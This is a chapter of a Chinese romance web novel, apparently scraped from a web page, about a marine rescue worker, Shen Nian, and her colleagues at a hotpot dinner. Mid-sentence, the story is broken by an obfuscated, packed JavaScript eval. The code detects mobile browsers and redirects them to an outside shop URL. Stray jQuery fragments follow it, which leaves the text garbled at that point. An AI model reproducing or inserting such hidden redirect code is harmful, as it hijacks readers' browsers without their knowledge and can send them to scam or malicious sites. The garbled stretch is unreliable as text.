看到黎盛衍的刹那,她丝毫没有觉得尴尬,反倒是迈着欢快的小步走过去。
在他面前站定,她高兴跟他分享。
“说来你可能不信,黎盛衍,我居然可以在水里呼吸。”
她洋洋得意,满是跟好朋友分享的喜悦,突然,她止住话头,小心翼翼瞄了眼他。
只见他温柔看着自己,没有看傻子的戏谑,甚至贴心地微微低头倾听。
对方捕捉到她的视线,眼里的笑意更加深,还带着点宠溺的味道。
倏地,心跳似乎漏了一拍。
她忍不住追问:“你不觉得我是神经病吗?”
黎盛衍没有马上回答,而是转身走向旁边,也不知道他要做什么。
她惴惴不安看着。
他不会打电话让实验室来抓人吧?
能听懂动物说话会怀疑是神经病,但要是能在水里呼吸,不就是做实验的小白鼠?
也真是,一高兴,啥都往外说了。
她暗恨自己的冲动,绞着手指头,抬起头想跟他解释解释,试图挽回局面。
突然,眼前一黑。
黎盛衍不知道什么时候站在面前,把一块干毛巾盖在她头上。
她抓住毛巾两边撩开,只露出那张白净姣好的小脸,她疑惑歪头看他,一时没反应过来他这是要干嘛。
“我胡说八道,我是说我在水里能憋气了,会憋气很长时间。”
她一本正经解释,也不知道对方信不信,攥紧毛巾看他。
可某人的注意力似乎并不在这里,轻轻将毛巾一角从她手里解救出来。
他手搭在她脑袋上,轻轻帮她擦头发。
动作自然又亲昵,而且两人的距离极近。
视野中,男人的锁骨在衣领中若隐若现,再往上,是他的喉结。
驼峰结,他咽了下口水,上下滚动,瞧着有些好摸。
这个念头一出,耳根子热得发红,她倏地低下头,不敢再看。
可男人似有若无的竹香钻进鼻尖,像一把无形的刷子勾着。
“黎盛衍?你听到没有。”
她稍稍往后站,脑袋从毛巾中钻出来,毛巾搭在了脖子上,两端却被黎盛衍握着。
“嗯。”
他应了一声,反应淡淡的,仿佛她说的一切不过是最平常不过的事。
这才是这让她最害怕的,摸不着对方真实的想法。
“你这‘嗯’是什么意思?”
她不禁追问,可男人似乎并不着急回答,再次转身,她咬牙跟上去。
眼前人突然停下来,她差点撞上去,幸好及时刹住脚。
她疑惑看过去,只见黎盛衍拿下墙上的吹风机,这才转身看她。
“沈念,我说过的。”他开口。
说过什么?他从进来就没有好好说过一句话。
心里头憋着一股气,她不服地抬眸看过去。
见他想帮自己吹头发,吓得她连忙拿过吹风机,自己吹起来。
热热的鼓风吹在湿漉漉的发丝上,一时间,换衣间满是吹风机嗡嗡的声响。
她看见黎盛衍的嘴巴张合,可她听不清他在说什么。
见她呆呆看着自己,黎盛衍似乎有些无语叹气,大手接过她手里的吹风机,然后关了。
“我说,我相信你。”
见她更懵了,黎盛衍把吹风机塞回她怀里,又补充开口。
“今早我说过,我相信你,所以刚才也一样,我相信你。”
说完,他便往外走,留沈念在原地五味杂陈。
又见他挥挥手,催促她快点,等她结束后,还要忙其他的工作。
望着男人消失在拐角的背影,悬着的心这才安下来。
快速整理好着装后,她又回到了康复区,远远便看见黎盛衍在给海龟检查。
她走过去,其他同事都来过问了几句她的情况,她保证自己没事后这才让她继续工作。
她走到黎盛衍身旁:“小海不是故意的,它只是以为那样是帮我。”
她想解释,却被黎盛衍打断。
他在记录表上写下数据,然后盖上笔盖,这才回复她。
“那也没办法,只能按流程走,不过只是多加了几个训练项目,放心。”
她还想说什么,黎盛衍被其他同事喊走,她只好去检查被水泡过的设备。
开机重启,拍摄画面赫然出现。
幸好还能用,她松了一口气,又继续工作。
傍晚,夕阳的阳光从外面斜斜照入,在救助中心大厅中形成一片丁达尔效应。
今天的工作已经结束,她正拿着设备检查今天的素材。
走廊传来急促的脚步声,紧接着马工洪亮的嗓音传来。
“下班了大家先别走啊!”
红光满面的马工走进来,抬手招呼着正在收拾东西准备下班的同事。
“海洋馆请我们救助中心吃饭!”
江肆越在他身后不急不缓跟着。
人群瞬间欢呼起来,有人追问原因,马工激动拍了拍身旁江肆越的肩头。
“多亏了小江,让我们救助中心在海洋馆面前狠狠涨了一波士气,那几个老头子非要请吃饭。”
人群中笑得更欢乐,又是鼓掌又是欢呼,她好奇看过去,可某人却闪躲了下,低下头。
身旁的黎盛衍小声跟她解释。
“先前马导跟海洋馆的有过节,应该是马导趁机宰了海洋馆的。”
闻言,她忍不住低头笑出声。
气氛热闹起来,闹哄哄的,都在讨论等会吃什么。
最终,都决定去火锅店。
马工带的小组有十个人,来火锅店吃饭,也要分两桌。
她跟江肆越、黎盛衍,还有另外两位同事坐一起。
桌子有一面挨着墙,她刚坐下,看向刚才站在旁边的江肆越。
他挨得近,想让他就近坐在旁边。
抬头的时间,某人不知道什么时候到她对面去,黎盛衍跟他坐一起。
她跟另一个女生坐,另一个男生单独坐在另一边。
这顿饭吃的沈念有点如坐针毡。
每当低头吃菜的时候,对面总是有一道,强烈到想把她看出洞的视线。
而当她抬头看去的时候,对面的人正慢条斯理吃肉丸。见她看自己,江肆越微撇头,矜骄又轻慢。
像一只高傲优雅的布偶猫,沈念不知道哪里得罪他了,但有气不受着。
她往桌下瞄了一眼,确定方向,然后抬腿往他小腿上轻踢了下。
可江肆越激烈的反应超出想象。
“咳咳!”
他像是被呛到,筷子上的肉丸掉到碗里,碗里的辣油被溅起,他白净的衣服上多了几朵红梅。
她暗道不好,可想象中江肆越会炸毛站起身指责她的画面没有出现。
某人只是没好气地瞪她一眼,软绵绵的,像小猫轻轻挠了一下,没有什么攻击力。
奇怪,实在是太奇怪了。
要不是有人在,她手里的筷子怕是要啪嗒一下掉在桌子上。
难道江肆越良心发现,终于要对她好点了?
她迟疑,又看到自己旁边碟子上的肉丸,江肆越垂着脑袋,看的方向正是肉丸的位置。
她瞬间反应过来,不是良心发现,而是惦记她的肉丸!
她单独对着他翻了个白眼,筷子刺破肉丸,插起来狠狠咬一口。
某人的反应更激烈了,呛得直咳,耳根子都红透了,黎盛衍和另外两位同事都看了过来。
“还好吗?辣锅是有点辣。”
黎盛衍抽了张纸巾递给他,他却摆摆手,拿起酸梅汁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599179|204091||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一饮而尽,视线却闪躲。
至于吗?不就是吃了他一颗肉丸,反应这么激烈。
见他缓下来,所有人继续吃饭,有一搭没一搭聊着,也不知道聊到什么,话头突然转向了她跟江肆越。
“欸,听说你们合租,那你们是搬进去第一天才认识的?住的小区还是别墅区,很贵吧?”
说话的女同事好奇看过来,说到后面,一副肉疼的样子。
“哦,没有,第一次见是在便利店,他好心帮我付钱。”
她不以为然地回答,对面的江肆越却“呵”了一声,瞪她一眼,没有刚才的软绵绵,全是幽怨与不满。
仿佛她是个抛夫弃子的坏女人,可她什么都没做啊!
下一秒,便听到江肆越不屑又漫不经心开口。
“是在KTV,某人喝醉了,抱着我不撒手,还把我东西抢走了。”
说这话的时候,他拿着筷子的手撑着桌子,支着下巴,那不满的小眼神带着锐利地甩过来。
脸蛋微微发烫,她脑子里根本没有这一回事,偏偏旁边的同事好奇得很,看着她追问。
“这么有缘,所以就同……不是,合租了?”
同事轻轻肘了下她胳膊,玩笑道,“你到底拿了人家什么?让人家追着你不放。”
这话听让人耳根子发热。
在许清昭出国前,她跟她确实去了KTV潇洒,但她脑子里根本没有这一幕。
她不知道怎么回答,这个问题江肆越已经缠她好几回了,黎盛衍看穿她的尴尬,转移了话题。
“好了,菜都要坨了,先吃吧。”
说着,他用公筷给她夹了一许金针菇,她端起碗去接,一双筷子破空而出,夺过了那许金针菇。
沈念僵住,黎盛衍僵住,齐齐看过去,而罪魁祸首正沾辣酱吃得津津有味。
另外两位同事对视一眼,捧腹大笑。
边吃边说话,江肆越还不忘对他竖起大拇指。
“好吃,不愧是黎队煮的。”
黎盛衍嘴角抽了下,又给他夹了几许,她默默收回碗,旁边的女生贴心给她夹了块肉。
难得缓和的气氛,另一位同事视线在沈念和黎盛衍之间徘徊。
那八卦之魂燃起的眼神,让原本歇了心的同事也跃跃欲试。
她突然捂住肚子,脸一皱,拿起手机,丢下一句要去趟厕所便逃离现场。
幸好她吃得差不多了,她慢悠悠往卫生间走,拿出手机,给远在国外的许清昭发消息。
“昭昭,你还记得你去旅游前,我们在KTV的事吗?”
不到一分钟,对面的消息弹了出来。
许清昭:[记得啊,怎么啦念念!]
许清昭:[配图:带着墨镜酷酷的沙滩照]
她点开图片,看着她又酷又拽的小表情,嘴角不自觉上扬,先是来了一段夸夸,又劈里啪啦打字。
“那你想想,我有没有遇到过一个长头发的,男的。”
这段话还没发出去,对面的消息先弹了出来。
许清昭:[念念你该不会对那个长发帅哥,念念不忘吧?]
许清昭:[抽象捂嘴偷笑表情包jpg]
看到这条消息,她连连咳了两声,差点被自己的口水呛到。
沈念:[……那我有没有拿他什么东西?我不记得那时候的事了]
沈念:[昭昭你帮我好好想想(小黄豆可怜哭哭表情包jpg)]
消息发送出去,手机瞬间被捂嘴偷笑猥琐表情包刷屏。
看着满屏的表情包,心里头像被痒痒挠挠过,干痒又挠不到,让人着急得抓耳挠腮。
对面似乎刷表情包刷累了,甩了一条长达六十秒的语音过来。
她惴惴不安点开,开头先是许清昭的哈哈大笑,紧接着才是断断续续的话。